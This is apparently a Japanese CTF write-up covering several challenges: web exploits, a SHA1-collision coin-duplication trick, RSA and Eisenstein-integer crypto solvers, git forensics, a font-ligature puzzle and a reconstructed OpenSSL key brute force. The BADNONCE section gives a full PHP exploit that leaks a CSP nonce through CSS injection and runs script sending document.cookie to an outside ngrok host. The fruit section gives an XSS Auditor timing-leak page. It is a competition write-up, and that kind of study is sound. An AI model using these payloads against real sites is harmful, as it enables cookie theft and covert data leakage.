English version: https://hackmd.io/s/HJhnHwTiE
CSPが有効になっているページでXSSしてCookieを盗ってください、という問題でした。
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-<?= $nonce ?>';">
問題名が BADNONCE なので明らかにnonceの実装が悪そうです。
実際、以下のようにセッションIDに対してnonceが固定なので、これが漏れるとXSSが可能になります。
<?php
session_start();
$nonce = md5(session_id());
件のnonceは、ページ内の要素の属性として存在しています。
<script nonce=<?= $nonce ?>>
console.log('Welcome to the dungeon :-)');
</script>
ところで、このページではscript-src
のみ制限されているので、たとえばスタイルシートなどは外部ソースから読み込み放題です。
したがって、CSS Injectionが可能です。セレクタを工夫することによって、要素の属性値を特定することができますね。
【参考リンク】
CSS Injection 再入門 – やっていく気持ち
https://diary.shift-js.info/css-injection/
ただし、管理者のブラウザを模したクローラは、毎回異なるPHPSESSIDを持つため、1度の起動で最後までnonceを抜きとって、XSSを踏ませるところまでやらないといけません。
ちょっと面倒ですが、管理者に攻撃車が用意したURLをIFRAMEで開き続けるページを踏ませて、InjectするCSSを変えながら、最終的にXSSを発火させるようにしました。
以下のような実装になりました。Web問のExploitにしてはちょっと重めかも。もっと頭のいい方法が存在する可能性もあり。
<?php
if (array_key_exists("save", $_GET)) {
file_put_contents("flag.txt", $_GET["save"] . PHP_EOL, LOCK_EX | FILE_APPEND);
}
else if (array_key_exists("nonce", $_GET)) {
$nonce = file_get_contents("nonce.txt");
if (strlen($nonce) < strlen($_GET["nonce"])) {
file_put_contents("nonce.txt", $_GET["nonce"], LOCK_EX);
}
}
else if (array_key_exists("css", $_GET)) {
header("Content-Type: text/css");
echo("script { display: block }" . PHP_EOL);
$nonce = file_get_contents("nonce.txt");
$chars = str_split("0123456789abcdef");
foreach ($chars as $c1) {
foreach ($chars as $c2) {
$x = $nonce . $c1 . $c2;
echo("[nonce^='" . $x . "'] { background: url(http://cf07fd07.ap.ngrok.io/?nonce=" . $x . ") }" . PHP_EOL);
}
}
}
else if (array_key_exists("go", $_GET)) {
$nonce = file_get_contents("nonce.txt");
if (strlen($nonce) < 32) {
header("Location: http://35.187.214.138:10023/?q=%3Clink%20rel%3D%22stylesheet%22%20href%3D%22http%3A%2F%2Fcf07fd07.ap.ngrok.io%2F%3Fcss%3D" . microtime(true) . "%22%3E");
}
else {
header("Location: http://35.187.214.138:10023/?q=%3Cscript%20nonce%3D%22" . $nonce . "%22%3Efetch(%22http%3A%2F%2Fcf07fd07.ap.ngrok.io%2F%3Fsave%3D%22%20%2B%20encodeURIComponent(document.cookie))%3C%2Fscript%3E");
}
}
else if (array_key_exists("start", $_GET)) {
file_put_contents("nonce.txt", "", LOCK_EX);
file_put_contents("flag.txt", "", LOCK_EX);
?>
<html>
<body>
<script>
setInterval(() => {
const iframe = document.createElement("iframe");
iframe.src = `?go=${(new Date).getTime()}`;
document.body.appendChild(iframe);
}, 256);
</script>
</body>
</html>
<?php
}
else {
echo("E R R O R !");
}
?>
rubyで書かれたアプリケーションで、コインの送受信ができます。
たくさんのコインを集めれば、FLAGが入手できるようです。
get '/api/flag' do
return err(401, 'login first') unless user = session[:user]
hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}
res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_user
row = res.next
balance = row && row[0]
res.close
return err(401, 'login first') unless balance
return err(403, 'earn more coins!!!') unless balance >= 10_000_000_000
json({flag: IO.binread('data/flag.txt')})
end
怪しいのは送金コードで、こういう形。
post '/api/transfer' do
return err(401, 'login first') unless src = session[:user]
return err(400, 'bad request') unless dst = params[:target] and String === dst and dst != src
return err(400, 'bad request') unless amount = params[:amount] and String === amount
return err(400, 'bad request') unless amount = amount.to_i and amount > 0
sleep 1
hashed_src = STRETCH.times.inject(src){|s| Digest::SHA1.hexdigest(s)}
hashed_dst = STRETCH.times.inject(dst){|s| Digest::SHA1.hexdigest(s)}
res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_src
row = res.next
balance_src = row && row[0]
res.close
return err(422, 'no enough coins') unless balance_src >= amount
res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_dst
row = res.next
balance_dst = row && row[0]
res.close
return err(422, 'no such user') unless balance_dst
balance_src -= amount
balance_dst += amount
DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_src, hashed_src
DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_dst, hashed_dst
json({amount: amount, balance: balance_src})
end
ぱっと見たところ、トランザクションを考慮していないので、高頻度でリクエストを飛ばせばRace Conditionで二重送金ができそうだったんですが、軽く試したところ、タイミングがシビアでほとんどうまくいかなかったので、この方針は諦めました。
ところで、このコードをもう少しよく見ると、宛先と送金元が同一のユーザであったとき、コインが増殖することは明らかです。
もちろん、自分自身への送金はエラーになる実装となっているんですが、残高の照会をユーザ名をハッシュした値で行っているのに対して、ユーザの同一性判定は元の文字列で行っています。
つまりは、別の文字列であって、SHA1ハッシュの結果が同一になる文字列の組がもし存在すれば、無限にコインを増やすことができそうです。
SHA1の衝突といえば……SHAtteredですよね。
詳しい理屈はググってもらうとして、これを用いれば、先に述べた要件を満たすような文字列(というかバイト列)の組が用意できます。
JSONとしてnon-printableな文字を送る際に破壊されないように注意しつつ、以下のようにして用意しました。
<?php
$s1 = file_get_contents("shattered-1.pdf");
$s2 = file_get_contents("shattered-2.pdf");
$t1 = substr($s1, 0, 320) . "narusejun";
$t2 = substr($s2, 0, 320) . "narusejun";
echo(sha1($t1) . PHP_EOL);
echo(sha1($t2) . PHP_EOL);
function toStr($c) {
$i = ord($c);
if ($c == '"') {
return '\\"';
}
if ($c == '%') {
return '%%';
}
if ($i < 0x20) {
return sprintf("\\u%04x", $i);
}
if ($i < 0x7F) {
return $c;
}
return sprintf("\\x%02x", ord($c));
}
$u1 = implode(array_map(toStr, str_split($t1)));
$u2 = implode(array_map(toStr, str_split($t2)));
echo($u1 . PHP_EOL);
echo($u2 . PHP_EOL);
?>
この文字列のどちらかを使って登録した上で、もう一方の文字列を宛先として指定して送金すると、コインが増殖します。
curlを使うと容易です。
Web問です。PHPで実装された、プロフィールを登録できるサービスです。
秘密の質問として20種類のフルーツが好きか否かを選択できるようになっていて、どうやらadminの好きなフルーツをRECONすれば良いみたいです。
ソースコードを見ると、自身のプロフィールを確認するページで露骨にCSPが弱められていて、怪しさがあります。
$response->withHeader("Content-Security-Policy", "script-src-elem 'self'; script-src-attr 'unsafe-inline'; style-src 'self'")
この要素は新しい機能なので、script-src-elem
とscript-src-attr
が効いていなくて、実質XSSし放題になっているようでした。
しかしながら、このページはログインしたユーザ自身のプロフィールを表示するものですので、狙った相手にコードを実行させるのは厳しそうな雰囲気があります。
ところで、そもそも何故script-src-attr
などという特殊な(?)制限が付されているのでしょうか?
この答えは、このページのソースを注意深く見るとすぐに気が付きました。
🍇 <input type="checkbox" id="grapes" onchange="grapes.checked=false;" >
🍈 <input type="checkbox" id="melon" onchange="melon.checked=false;" >
🍉 <input type="checkbox" id="watermelon" onchange="watermelon.checked=false;" >
🍊 <input type="checkbox" id="tangerine" onchange="tangerine.checked=false;" >
🍋 <input type="checkbox" id="lemon" onchange="lemon.checked=false;" >
🍌 <input type="checkbox" id="banana" onchange="banana.checked=false;" >
🍍 <input type="checkbox" id="pineapple" onchange="pineapple.checked=false;" >
🍐 <input type="checkbox" id="pear" onchange="pear.checked=false;" >
🍑 <input type="checkbox" id="peach" onchange="peach.checked=false;" >
🍒 <input type="checkbox" id="cherries" onchange="cherries.checked=false;" >
🍓 <input type="checkbox" id="strawberry" onchange="strawberry.checked=false;" >
🍅 <input type="checkbox" id="tomato" onchange="tomato.checked=false;" >
🥥 <input type="checkbox" id="coconut" onchange="coconut.checked=false;" >
🥭 <input type="checkbox" id="mango" onchange="mango.checked=false;" >
🥑 <input type="checkbox" id="avocado" onchange="avocado.checked=false;" >
🍆 <input type="checkbox" id="aubergine" onchange="aubergine.checked=false;" >
🥔 <input type="checkbox" id="potato" onchange="potato.checked=false;" >
🥕 <input type="checkbox" id="carrot" onchange="carrot.checked=false;" >
🥦 <input type="checkbox" id="broccoli" onchange="broccoli.checked=false;" >
🍄 <input type="checkbox" id="mushroom" onchange="mushroom.checked=false;" >
秘密の質問がプロフィールページに表示されているんですが、この変更を禁止する目的でJavaScriptが用いられているのでした!
このコードのみ実行できるようにする目的で、部分的なunsafe-inlineが許容されていたようです。
もし、この小さなJavaScriptコードを盗むことができれば、adminの好きなフルーツを知ることできそうです。
このページでは、X-XSS-Protection: 1; mode=block
というヘッダが送信されていて、XSS Auditorがブロックモードで動作することが期待されていて、adminのブラウザもこれに従っているでしょう。
こういう場合に、XSS Auditorの誤検出を利用して、ページ内のスクリプトを盗む手法が存在します。
【参考リンク】
ブラウザのXSSフィルタを利用した情報窃取攻撃 | MBSD Blog
https://www.mbsd.jp/blog/20160407_2.html
これを利用できそうです。(できました。)
以下のような2つのIFRAMEを表示させれば、どちらか一方をXSS Auditorがブロックするはずです。
<iframe src='http://34.97.74.235:10033/profile?onchange="melon.checked=true;"'></iframe>
<iframe src='http://34.97.74.235:10033/profile?onchange="melon.checked=false;"'></iframe>
この性質を利用し、攻撃者のページで2つのIFRAMEを開かせて、どちらがブロックされたかを判別すれば良いですね。
IFRAME要素のcontentWindow.length
を見ると、XSS Auditorが作動したか否かを簡単に判別できるようでしたが、手元で試したときに何故かうまくいかなかったので(これは勘違いだったかもしれませんが)、onload
が発火するまでの時間を計測するちょっと面倒な方法で判別しています。
XSS Auditorが作動すると、関連リソースの読み込みが走らないので、onload
が早く呼ばれるはずです。
以下のように実装し、IFRAMEをプロフィールに埋め込んで、adminにアクセスさせました。
JavaScriptの記法モダンだったりレガシーだったりしていて、気持ち悪いんですが、終了ギリギリで解いていたためいろいろ焦っていて、見当違いの試行錯誤をしていた名残です。
<?php
if(array_key_exists("save", $_GET)){
file_put_contents("save.txt", $_GET["save"] . PHP_EOL, FILE_APPEND | LOCK_EX);
echo("OK!");
}else{
?>
<html>
<body>
<script>
function test(key, val){
return new Promise(function(resolve){
const iframe = document.createElement("iframe");
iframe.onload = function(){
iframe.remove();
resolve([key, val, new Date().getTime() - time]);
};
iframe.src = `http://34.97.74.235:10033/profile?onchange="${key}.checked=${val};"`;
const time = new Date().getTime();
document.body.appendChild(iframe);
});
}
(async () => {
const results = [];
for(let i = 0; i < 1; i++){
results.push([
await test("mushroom", true),
await test("mushroom", false),
]);
}
location.href = "?save=" + results;
})();
</script>
</body>
</html>
<?php
}
?>
これを用いて、フルーツ1種類ごとに計測した結果が以下のとおりです。
Captchaを連打する必要があって、激ツラかったです。チームメイトにひたすらCaptchaしてもらいました。(もっと頭の良い実装をすればよかった気もしますが。)
フルーツ | trueのonload(ms) | falseのonload(ms) | 判定結果 |
---|---|---|---|
grapes | 84 | 334 | TRUE |
melon | 347 | 65 | FALSE |
watermelon | 245 | 47 | FALSE |
tangerine | 78 | 394 | TRUE |
lemon | 83 | 418 | TRUE |
banana | 73 | 255 | TRUE |
pineapple | 79 | 452 | TRUE |
pear | 252 | 48 | FALSE |
peach | 74 | 281 | TRUE |
cherries | 76 | 336 | TRUE |
strawberry | 79 | 318 | TRUE |
tomato | 77 | 353 | TRUE |
coconut | 77 | 333 | TRUE |
mango | 92 | 404 | TRUE |
avocado | 254 | 47 | FALSE |
aubergine | 85 | 333 | TRUE |
potato | 249 | 46 | FALSE |
carrot | 72 | 321 | TRUE |
broccoli | 428 | 40 | FALSE |
mushroom | 87 | 388 | TRUE |
あとは、この結果を用いてadminのrecoveryメッセージ(FLAG)を表示させることができました。
RSA暗号
この4つが与えられるので
hxpCTF2017 のfleaが類題。
下のビットから決めていくDFSを書くと良い。
普通にDFS書くと(4096ビットもあって)スタックが溢れるので非再帰で実装。
X = 95035(中略)51960
N = 24746(中略)09489
E = 65537
C = 38292(中略)05157
def extgcd(a,b)
g,x,y = a,1,0
if b != 0
o = extgcd(b,a%b)
g = o[:g]
x = o[:y]
y = o[:x] - (a/b)*x
end
return {g:g, x:x, y:y}
end
def modinv(a,m)
o = extgcd(a,m)
x = o[:x]
x += m if x < 0
return x
end
BITS = 4096
ansp, ansq = -1, -1
stack = []
stack.push([0,0,0])
cnt = 0
while stack.length > 0
cnt += 1
if cnt % 100000 == 0
puts "cnt=#{cnt}: stack=#{stack.length}"
end
x,y,i = stack.pop
if x*y==N
ansp, ansq = x, y
break
end
next if i==BITS
v = (X>>i) & 1
for dx in [0,1]
for dy in [0,1]
next if (dx^dy) != v
nx = x + (dx<<i)
ny = y + (dy<<i)
msk = (1<<(i+1))-1
next if ((nx*ny)&msk) != (N&msk)
stack.push([nx,ny,i+1])
end
end
end
puts ansp
puts ansq
# ansp = 58349(中略)66043
# ansq = 42410(中略)83523
D = modinv(E, (ansp-1)*(ansq-1))
F = C.pow(D,N)
puts [F.to_s(16)].pack("H*")
TSGCTF{Absolutely, X should be 'S' in 'OPQRX'.}
アイゼンシュタイン整数上での加算乗除と剰余算が用意されている。
一般的な整数環であれば、中国人剰余定理の適用によって元の値を一意に復元可能である。
用意された加算乗除と剰余算が環として成り立っているのであれば、そのまま中国人剰余定理を適用できる。(この辺の記述は数ヤに怒られそう)
アイゼンシュタイン整数において、同伴という概念があり、処理の途中で何故か同伴な値になってしまう(答えが異なってしまう)ことがあったので、そこだけ若干全探索を行った。
require_relative 'params'
def to_complex(x)
a, b = x
w = Math::E ** Complex(0, Math::PI*2.0/3.0)
a + b*w
end
def add(x, y)
a, b = x
c, d = y
[a+c, b+d]
end
def sub(x, y)
a, b = x
c, d = y
[a-c, b-d]
end
def mul(x, y)
a, b = x
c, d = y
[a*c - b*d, a*d + b*c - b*d]
end
def div(x, y)
xc, yc = to_complex(x), to_complex(y)
a, b = (xc / yc).rect
[(a + b/Math.sqrt(3)).round, (b*2.0/Math.sqrt(3)).round]
end
def mod(x, y)
# many times...
100.times do
k = div(x, y)
x = sub(x, mul(k, y))
end
x
end
$units = [[1,0],[-1,0],[0,1],[0,-1],[1,1],[-1,-1]]
def extgcd(a,b)
g = a
x = [1,0]
y = [0,0]
if b != [0,0]
o = extgcd(b,mod(a,b))
g = o[:g]
x = o[:y]
y = sub(o[:x],mul(div(a,b),x))
end
return {g:g, x:x, y:y}
end
def modinv(a,m)
o = extgcd(a,m)
x = o[:x]
return x
end
N = PROBLEM.length
r = [0,0]
m = [1,0]
for i in 0...N
item = PROBLEM[i]
b = item[0]
md = item[1]
o = extgcd(m,md)
g = o[:g]
p = div(o[:x], g)
md = div(md, g)
tmp = mod(mul(sub(b,r),p),md)
if i == 1 || i == 4
tmp = mul(tmp,$units[1]) # ???
end
r = add(r,mul(m,tmp))
m = mul(m,md)
# check
puts "CHECK"
for j in 0..i
print "#{j}=#{PROBLEM[j][0] == mod(r,PROBLEM[j][1])},"
end
puts ""
end
f1,f2 = r
puts [f1.to_s(16)].pack("H*")
puts [f2.to_s(16)].pack("H*")
flag = f1 * (1<<(8*37)) + f2
puts [flag.to_s(16)].pack("H*")
TSGCTF{I_H34RD_S0ME_IN7EGERS_INCLUDI
NG_EISENSTEIN'S_F0RM_EUCL1DE4N_R1NG!}
TSGCTF{I_H34RD_S0ME_IN7EGERS_INCLUDING_EISENSTEIN'S_F0RM_EUCL1DE4N_R1NG!}
ForensicallyのError Level Analysisを使って、ほんの少し読める画像を生成した。
そして、懸命にguessした。
ローカルリポジトリが与えられる。
コマンドミスで普通に過去コミットを漁ればflag
というファイルがあったらしい。
該当コミットをチェックアウト後、flag
の内容を出力するように、若干main.cr
を変更。
require "zlib"
flag = File.open("./flag", "r") do |f|
Zlib::Reader.open(f) do |inflate|
inflate.gets_to_end
end
end
puts flag
実行。
$ crystal main.cr
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}
git gc
されているらしいから、とりあえず.git/packed-refs
を見る。
# pack-refs with: peeled fully-peeled sorted
072690c0aaf46bc7875b67d6323b8f8d2074aaca refs/heads/master
1c80e25f51797b19dfbdeb0e2831ebd9bba64ab8 refs/original/refs/heads/master
1c80e25f
をチェックアウトする。
$ git checkout 1c80e25f
あとはObliterated Fileと同様。
$ crystal main.cr
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master_S0rry_f0r_m4king_4_m1st4k3_0n_th1s_pr0bl3m}
ttfファイルが与えられる。
言われたとおり、適当にフラグを打ってみる。
TSGCTF{flag}
という文字列を表示させると、flag
が正しくない場合、TSGCTF{flag} is incorrect
という見た目になる。
FontForgeで開くと、下の方に怪しげな文字が見える。
glyph346
は} is correct
、glyph347
は} is incorrect
のような見た目である。
Element > Font Info > Lookupsを見ると、大量にLigatureが設定されていて、これによって文字列の見た目を変えている。
この設定から、どの文字列を表示させた時にis correct
になるかを辿れば良い。
検索性が悪いから、fonttoolsを使う。
$ pip install fonttools
$ ttx ffi.ttf
} is correct
に該当するglyph00346
を検索する。
<Lookup index="51">
<LookupType value="1"/>
<LookupFlag value="0"/>
<!-- SubTableCount=1 -->
<SingleSubst index="0" Format="2">
<Substitution in="a" out="glyph00102"/>
<Substitution in="b" out="glyph00113"/>
<Substitution in="braceright" out="glyph00346"/>
<Substitution in="c" out="glyph00114"/>
:
<Substitution in="z" out="glyph00323"/>
</SingleSubst>
</Lookup>
ある特定の文字列で}
はglyph00346
が表示される。
<Lookup index="51">
に注目する。
"51"
を検索する。
<ChainContextSubst index="51" Format="3">
<!-- BacktrackGlyphCount=1 -->
<BacktrackCoverage index="0" Format="1">
<Glyph value="glyph00140"/>
</BacktrackCoverage>
<!-- InputGlyphCount=1 -->
<InputCoverage index="0" Format="2">
<Glyph value="underscore"/>
<Glyph value="a"/>
<Glyph value="b"/>
:
<Glyph value="y"/>
<Glyph value="z"/>
<Glyph value="braceright"/>
</InputCoverage>
<!-- LookAheadGlyphCount=0 -->
<!-- SubstCount=1 -->
<SubstLookupRecord index="0">
<SequenceIndex value="0"/>
<LookupListIndex value="51"/>
</SubstLookupRecord>
</ChainContextSubst>
完全には意味が分かってないけどとりあえずBacktrackしていく。
次にglyph00140
を検索する。
<Lookup index="130">
<LookupType value="1"/>
<LookupFlag value="0"/>
<!-- SubTableCount=1 -->
<SingleSubst index="0" Format="2">
<Substitution in="a" out="glyph00103"/>
:
<Substitution in="d" out="glyph00128"/>
<Substitution in="e" out="glyph00140"/>
<Substitution in="f" out="glyph00144"/>
:
<Substitution in="z" out="glyph00324"/>
</SingleSubst>
</Lookup>
ある特定の文字列でe
はglyph00140
が表示される。
以降、index="130"
→glyph00219
(n
)→…
と辿ると、TSGCTF{ligature_state_machine}
となる。
試しに表示してみるとこうなる。
以下のスクリプトを使ってinput
を解読した。
#include <assert.h>
#include <fcntl.h>
#include <linux/input.h>
#include <stdio.h>
#include <sys/time.h>
int main(void)
{
int fd = open("input", O_RDWR);
assert(fd != -1);
for (;;) {
struct input_event event;
assert(read(fd, &event, sizeof(event)) == sizeof(event));
if (event.type == 0x1 && event.value == 0x1) {
switch (event.code) {
case KEY_1:
putchar('1');
break;
case KEY_2:
putchar('2');
break;
case KEY_3:
putchar('3');
break;
case KEY_4:
putchar('4');
break;
case KEY_5:
putchar('5');
break;
case KEY_6:
putchar('6');
break;
case KEY_7:
putchar('7');
break;
case KEY_8:
putchar('8');
break;
case KEY_9:
putchar('9');
break;
case KEY_0:
putchar('0');
break;
case KEY_MINUS:
putchar('-');
break;
case KEY_EQUAL:
putchar('=');
break;
case KEY_Q:
putchar('q');
break;
case KEY_W:
putchar('w');
break;
case KEY_E:
putchar('e');
break;
case KEY_R:
putchar('r');
break;
case KEY_T:
putchar('t');
break;
case KEY_Y:
putchar('y');
break;
case KEY_U:
putchar('u');
break;
case KEY_I:
putchar('i');
break;
case KEY_O:
putchar('o');
break;
case KEY_P:
putchar('p');
break;
case KEY_LEFTBRACE:
putchar('(');
break;
case KEY_RIGHTBRACE:
putchar(')');
break;
case KEY_ENTER:
putchar('\n');
break;
case KEY_A:
putchar('a');
break;
case KEY_S:
putchar('s');
break;
case KEY_D:
putchar('d');
break;
case KEY_F:
putchar('f');
break;
case KEY_G:
putchar('g');
break;
case KEY_H:
putchar('h');
break;
case KEY_J:
putchar('j');
break;
case KEY_K:
putchar('k');
break;
case KEY_L:
putchar('l');
break;
case KEY_SEMICOLON:
putchar(';');
break;
case KEY_APOSTROPHE:
putchar('\'');
break;
case KEY_GRAVE:
putchar('`');
break;
case KEY_BACKSLASH:
putchar('\\');
break;
case KEY_Z:
putchar('z');
break;
case KEY_X:
putchar('x');
break;
case KEY_C:
putchar('c');
break;
case KEY_V:
putchar('v');
break;
case KEY_B:
putchar('b');
break;
case KEY_N:
putchar('n');
break;
case KEY_M:
putchar('m');
break;
case KEY_COMMA:
putchar(',');
break;
case KEY_DOT:
putchar('.');
break;
case KEY_SLASH:
putchar('/');
break;
case KEY_SPACE:
putchar(' ');
break;
case KEY_LEFTSHIFT:
printf("<shift>");
break;
case KEY_TAB:
printf("<tab>");
break;
case KEY_BACKSPACE:
printf("<bs>");
break;
default:
printf("<%d>", event.code);
}
//printf(": %lu\n", event.time.tv_sec);
}
}
close(fd);
}
結果は以下の通り。
rm /dev/ura<tab>
rm /dev/ra<tab>
<shift>lang-c date --utc <shift>. /dev/random
echo nyan <shift>.. /dev/ra<tab>
curl -<shift>o https'//www.openssl.org/source/openssl-1.1.1b.tar.gz
tar xzvf ope<tab>
cd ope<tab><tab>
vim cry<tab>ra<tab>rand<shift><89>unix.c
637<shift>gd17d621<shift>gd2d603<shift>gdd480<shift>gd30d'wq
vim cr<tab>ra<tab>ra<tab><shift><89>li<tab>
250<shift>gd2d'wq
./co<tab>
make -j 4
cd ..
<shift>ld<89>library<89>path-./ope<tab> ./ope<tab>app<tab>ope<tab>genrsa 1024 <shift>. key.pem
<shift>ld<89>library<89>path-./ope<tab> ./ope<tab>ap<tab>ope<tab>rsautl -encrypt -inkey key.<tab>-in fl<tab>-out encrypted
fd<bs>g 1
guessしながら結果を整形した。
rm /dev/ura<tab>
rm /dev/ra<tab>
LANG=C date --utc > /dev/random (enter key tv_sec = 1556368668)
echo nyan >> /dev/ra<tab>
curl -O https://www.openssl.org/source/openssl-1.1.1b.tar.gz
tar xzvf ope<tab>
cd ope<tab><tab>
vim cry<tab>ra<tab>rand_unix.c
637Gd17d621Gd2d603Gdd480Gd30d:wq
vim cr<tab>ra<tab>ra<tab>_li<tab>
250Gd2d:wq
./co<tab>
make -j 4
cd ..
LD_LIBRARY_PATH=./ope<tab> ./ope<tab>app<tab>ope<tab>genrsa 1024 > key.pem (enter key tv_sec = 1556368884)
LD_LIBRARY_PATH=./ope<tab> ./ope<tab>ap<tab>ope<tab>rsautl -encrypt -inkey key.<tab>-in fl<tab>-out encrypted
fg 1
^C
与えられたDockerfile
を使ってproblem
イメージを生成しproblem
上でコンテナを開始した。
コンテナの中で、以下のコマンドで/dev/urandom
と/dev/random
を削除し/dev/random
を再生成した。
# rm /dev/urandom
# rm /dev/random
# LANG=C date --utc --date="@1556368668" > /dev/random
# echo nyan >> /dev/random
解読結果に従って改造されたOpenSSLバイナリを作った。しかし、crypto/rand/rand_unix.c
の中のget_time_stamp()
を以下のように再改造した。
static uint64_t get_time_stamp(void)
{
return 1556368884;
}
OpenSSLのソースコードを読んでkey.pem
生成をランダム化する3つの因子があることを理解した。それは、/dev/random
、生成時刻、生成するプロセスのIDであった。
解読結果から正しい/dev/random
と正しい生成時刻を知った。しかし、正しいPIDは分からないままだった。
したがって、encrypted
をコンテナの中へコピーし、以下のコマンドで総当たり攻撃を行った。
# for ((i = 0; i < 40000; i++)); do LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl genrsa 1024 > key.pem && LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl rsautl -decrypt -inkey key.pem -in encrypted -out flag-${i}.txt; done
# ls -lS | more
こうして、flagを見つけた。
# cat flag-2936.txt
TSGCTF{openssl_genrsa_is_hardly_predictable}